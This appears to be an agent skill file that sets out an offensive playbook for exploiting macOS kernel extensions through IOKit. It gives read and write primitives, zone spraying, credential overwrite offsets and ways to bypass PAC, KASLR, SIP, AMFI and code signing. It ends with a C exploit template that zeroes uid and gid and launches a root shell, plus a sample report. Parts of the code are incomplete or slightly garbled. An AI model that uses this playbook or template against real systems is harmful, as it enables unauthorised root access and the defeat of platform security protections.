macos-driver-exploit

name	macOS Driver Exploit
description	macOS kernel extension (kext) exploitation — IOKit vulnerabilities, heap overflow, task credential escalation
tags	["macos","driver","kernel","exploit","iokit","kext","privilege-escalation"]

Task: macOS Kernel Extension Exploitation. Exploit vulnerabilities in macOS kernel extensions for privilege escalation.

Phase 1: Kext Reconnaissance

Identify Attack Surface

1. Find kext entry point:
   - KMOD_INIT_FUNCTION (module start)
   - OSDefineMetaClassAndStructors
   - Provider class registration

2. Extract IOService class:
   - IOService::getName()
   - IORegistryEntry name
   - IOKit userclient class

3. Map external methods:
   - IOUserClient::getTargetAndMethodForIndex
   - Method dispatch table
   - Selector numbers

IOKit Userclient Access

1. Find service in IORegistry:
   ioreg -lw | grep MyDriver

2. Open service:
   io_service_t service = IOServiceGetMatchingService(
       kIOMasterPortDefault,
       IOServiceMatching("MyDriver")
   );

3. Create userclient:
   io_connect_t connect;
   IOServiceOpen(service, mach_task_self(), 0, &connect);

External Method Dispatch

// IOUserClient external methods
struct IOExternalMethod {
    IOServiceMethod function;
    uint32_t count0;  // input struct size
    uint32_t count1;  // output struct size
    uint32_t flags;
    // ...
};

// Dispatch via IOConnectCallMethod
IOConnectCallMethod(connect, selector,
                    input, inputCount,
                    inputStruct, inputStructSize,
                    output, outputCount,
                    outputStruct, outputStructSize);

Phase 2: Vulnerability Classes

Missing Validation in External Methods

Pattern: No buffer size checks
- User structures passed directly
- No validation of inputStructSize
- Raw pointer dereference

Common targets:
- IOConnectCallMethod handlers
- Custom ioctl-style methods
- Async operations

Heap Overflow (kalloc/zalloc)

Pattern: IOMalloc + unchecked copy
- size = user_size;
- buf = IOMalloc(size);
- memcpy(buf, user_buf, size);

Vulnerabilities:
- Integer overflow in size calculation
- No upper bound checking
- Overflow into adjacent zones

Targets:
- kalloc zones (same-size objects)
- OSObject subclasses
- OSMetaClassRuntime::typedArray

Stack Buffer Overflow

Pattern: Fixed stack buffer + user copy
- char buf[128];
- memcpy(buf, user, userSize);
- No size validation

macOS specifics:
- PAC (Pointer Authentication) on ARM64
- PXN (Privileged Execute-Never)
- SMEP-like protections

Bypass:
- ROP chain only
- Data-only attacks
- Stack pivot

Use-After-Free

Pattern: release without NULLing
- object->release();
- ... object->method();
- Reference count mishandling

Exploitation:
1. Allocate OSObject (with vtable ptr)
2. Free object (dangling ptr)
3. Realloc with controlled data
4. Call virtual function
5. Control kernel execution

Common targets:
- IOUserClient subclasses
- IOService objects
- IOSimpleLock, IOLock

Race Condition (TOCTOU)

Pattern: Check → Use gap
- Non-atomic operations
- Lock-free code paths
- Shared state without locking

Exploitation:
- Multi-threaded race
- Win between check and use
- Corrupt kernel state
- UAF via race

Type Confusion

Pattern: Cast between incompatible types
- OSMetaClass::safeMetaCastakah issues
- Unsafe type conversions
- Missing vtable validation

Impact:
- Vtable hijack
- Arbitrary function call
- Memory corruption

Information Leak

Pattern: Uninitialized kernel memory
- memcpy to user without init
- Struct padding leaks
- Heap content disclosure

Uses:
- Bypass KASLR/ASLR
- Find kernel base
- Zone spraying
- ROP chain building

IOKit Buffer Overflow

Pattern: IOBufferMemoryDescriptor issues
- Mismatch between prepare and output
- Shared memory regions
- Missing bounds checking

Targets:
- Shared memory mappings
- DMA buffers
- Async I/O operations

Phase 3: Exploit Primitives

Arbitrary Read

// Via missing validation
mach_port_t connect = open_userclient();

uint64_t input[2] = {target_addr, size};
uint64_t output[0x100];

IOConnectCallMethod(connect, SELECTOR_READ,
                    input, 2,
                    NULL, 0,
                    NULL, NULL,
                    output, &outputCount);

// Read data in output[]

Arbitrary Write

// Write to kernel address
uint64_t input[3] = {
    target_addr,
    value_to_write,
    size
};

IOConnectCallMethod(connect, SELECTOR_WRITE,
                    input, 3,
                    NULL, 0,
                    NULL, NULL,
                    NULL, NULL);

Zone Spraying (kalloc)

// Spray kalloc zones with controlled objects
#define SPRAY_SIZE 1000

io_connect_t conns[SPRAY_SIZE];

// Allocate objects in same zone
for (int i = 0; i < SPRAY_SIZE; i++) {
    io_service_t service = get_service();
    IOServiceOpen(service, mach_task_self(), 0, &conns[i]);
    // Create internal allocations
    IOConnectCallMethod(conns[i], ALLOC_SELECTOR, ...);
}

// Free holes for target object
for (int i = 0; i < SPRAY_SIZE; i += 2) {
    IOConnectClose(conns[i]);
}

// Trigger vulnerable allocation
// Lands in sprayed hole

Stack Pivot (ARM64)

// macOS ARM64 uses PAC (Pointer Authentication)
// Need valid signed pointers

// ROP gadgets must be:
// - In executable memory
// - Validly signed (if using function pointers)

// Stack pivot gadget:
mov sp, x0; ret  // Pivot to controlled stack

// Use data-only attacks when possible

Phase 4: Privilege Escalation

task_t Credential Overwrite

1. Find current task (struct task *)
2. Locate credential fields
3. Overwrite uid/gid to 0
4. Trigger: shell with root privileges

Offsets (kernel-dependent):
task.bsd_info:         0x380
proc.ucred:            0x100
cred.cr_uid:           0x00
cred.cr_ruid:          0x04
cred.cr_svuid:         0x08
cred.cr_gid:           0x0c
cred.cr_rgid:          0x10

Steps:
1. current = current_task()
2. proc = current->bsd_info
3. cred = proc->ucred
4. cred->cr_uid = 0
5. cred->cr_gid = 0

POSIX Cred Overwrite

// Direct credential modification
struct ucred {
    uid_t   cr_uid;     // User ID
    uid_t   cr_ruid;    // Real UID
    uid_t   cr_svuid;   // Saved UID
    gid_t   cr_gid;     // Group ID
    gid_t   cr_rgid;    // Real GID
    gid_t   cr_svgid;   // Saved GID
    // ...
};

// Set all to 0 for root
cred->cr_uid = 0;
cred->cr_ruid = 0;
cred->cr_svuid = 0;
cred->cr_gid = 0;
cred->cr_rgid = 0;
cred->cr_svgid = 0;

task_t Token Overwrite (Alternative)

Some macOS versions use token-based creds:
1. Find task token
2. Replace with root token
3. Or directly modify credential fields

Code Signing Bypass

1. Find cs_blob in proc struct
2. Modify or remove
3. Execute unsigned code
4. Or patch amfid

Alternative:
- Override MAC policy checks
- Patch code signing validation

Phase 5: Mitigation Bypass

PAC (Pointer Authentication) Bypass

Method 1: Data-only attacks
- Don't use function pointers
- Only corrupt data
- Modify credentials directly

Method 2: Find unsigned pointers
- Some kernel code doesn't use PAC
- Data sections without PAC
- Specific gadget types

Method 3: PAC oracle/gadget
- Find pacibsp/pacibz gadgets
- Sign forged pointers (difficult)
- Use existing valid pointers

PXN (Privileged Execute-Never)

Method 1: ROP only
- No shellcode execution
- Use kernel ROP gadgets
- Stay in kernel space

Method 2: Data-only
- Modify kernel data only
- No code execution needed

KASLR Bypass

Method 1: Info leak
- mach_port_kobject kernel ports
- IORegistry leaks
- Uninitialized memory
- Task struct leaks

Method 2: Pointer leaks
- vtable pointers (if not randomized)
- Known kernel addresses
- Slide calculation

Method 3: Physical map
- 0xffffffe000000000 (pre-M1)
- Physical memory mapping
- May reveal kernel code

SIP (System Integrity Protection) Bypass

Method 1: Load custom kext
- Disable SIP (requires recovery mode)
- Load unsigned kext
- Then exploit

Method 2: Kernel patch
- If already at kernel level
- Patch SIP checks
- Load unsigned code

Method 3: Boot args
- arm64e_save_state-style boot args
- Development kernel features

AMFI (Apple Mobile File Integrity) Bypass

Method 1: Patch AMFI callbacks
- Hook AMFI validation
- Always return success

Method 2: Code signing bypass
- Patch cs_valid
- Modify proc csflags

Method 3: Launch constraints
- Remove hard-coded signing checks

Phase 6: Exploit Template

#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>

#define SELECTOR_READ  0x01
#define SELECTOR_WRITE 0x02

mach_port_t get_userclient(const char *name) {
    CFMutableDictionaryRef matching = IOServiceMatching(name);
    if (!matching) return MACH_PORT_NULL;

    io_service_t service = IOServiceGetMatchingService(
        kIOMasterPortDefault, matching);

    io_connect_t connect;
    kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
    IOObjectRelease(service);

    if (kr != KERN_SUCCESS) return MACH_PORT_NULL;
    return connect;
}

int main() {
    mach_port_t conn = get_userclient("MyDriver");
    if (conn == MACH_PORT_NULL) {
        printf("Failed to open driver\n");
        return 1;
    }

    // Stage 1: KASLR bypass (info leak)
    uint64_t input_leak[1] = {0};
    uint64_t output_leak[0x100];
    uint32_t outputCount = 0x100;

    IOConnectCallMethod(conn, SELECTOR_READ,
                        input_leak, 1,
                        NULL, 0,
                        NULL, NULL,
                        output_leak, &outputCount);

    // Parse leak for kernel base
    uint64_t kernel_base = output_leak[0] & ~0xfff;

    // Stage 2: Privilege escalation
    uint64_t task_addr = find_current_task();
    uint64_t proc_addr = *(uint64_t*)(task_addr + proc_offset);
    uint64_t cred_addr = *(uint64_t*)(proc_addr + ucred_offset);

    // Set uid/gid to 0
    uint64_t input_write[4] = {
        cred_addr + cr_uid_offset,  // Address
        0,                          // Value (uid=0)
        8,                          // Size
    };

    IOConnectCallMethod(conn, SELECTOR_WRITE,
                        input_write, 3,
                        NULL, 0,
                        NULL, NULL,
                        NULL, NULL);

    // Also set gid
    input_write[0] = cred_addr + cr_gid_offset;
    IOConnectCallMethod(conn, SELECTOR_WRITE,
                        input_write, 3,
                        NULL, 0,
                        NULL, NULL,
                        NULL, NULL);

    // Stage 3: Root shell
    system("/bin/bash");

    IOConnectClose(conn);
    return 0;
}

Phase 7: Testing

Kernel Debugging Setup

1. Two-machine debugging (Intel):
   - Target: Disable SIP
   - Target: kext-dev-mode=1 boot arg
   - Debugger: lldb or gdb

2. Local debugging (VM):
   - Enable kernel debugging
   - Use serial port or network
   - Connect debugger

3. LLDB commands:
   bt             - Backtrace
   x/10gx $rsp    - Examine memory
   image list     - Loaded modules
   p sizeof(proc) - Structure sizes

Finding Offsets

1. Use kernel debug symbols:
   /usr/include/sys/sysctl.h
   /usr/include/secinit/proc_info.h

2. Use dtrace (if available):
   dtrace -n 'proc:::exec-success { printf("%p", curthread->td_proc) }'

3. Use dump structs:
   nm /mach_kernel | grep _proc
   nm /mach_kernel | grep _ucred

4. Test on same macOS version:
   Offsets are version-specific

XNU Source

macOS kernel is open source (XNU):
- https://github.com/apple/darwin-xnu
- Useful for finding structures
- Understanding mitigation implementations
- Finding gadget locations

Final Report

[MACOS DRIVER EXPLOIT]
Kext: com.mydriver.kext
IOClass: MyDriver
UserClient: MyDriverUserClient

[VULNERABILITY]
Type: Heap overflow in external method
Selector: 0x42
Impact: Kernel code execution
Severity: CRITICAL

[EXPLOITATION]
1. KASLR bypass: IORegistry leak @ 0xffffffe001234000
2. Primitive: Arbitrary R/W via heap overflow
3. Target: current_task->bsd_info->ucred
4. Method: Direct credential overwrite
5. Result: Root privileges

[BYPASSES]
- PAC: Data-only attack
- PXN: ROP only (or data-only)
- KASLR: IORegistry info leak
- SIP: Requires additional steps

[POC]
1. IOServiceOpen("MyDriver")
2. IOConnectCallMethod(conn, 0x42, rop_chain)
3. system("/bin/bash") // Runs as root

Severity: CRITICAL
Affected: macOS 11.x - 15.x (Intel/ARM)
Fix: Add bounds checking, validate sizes

Tools

• LLDB: Kernel debugging
• dtrace: Dynamic tracing
• ioreg: IORegistry browsing
• IDA Pro/Ghidra: Kext RE
• XNU source: Kernel internals
• MachOView: Mach-O analysis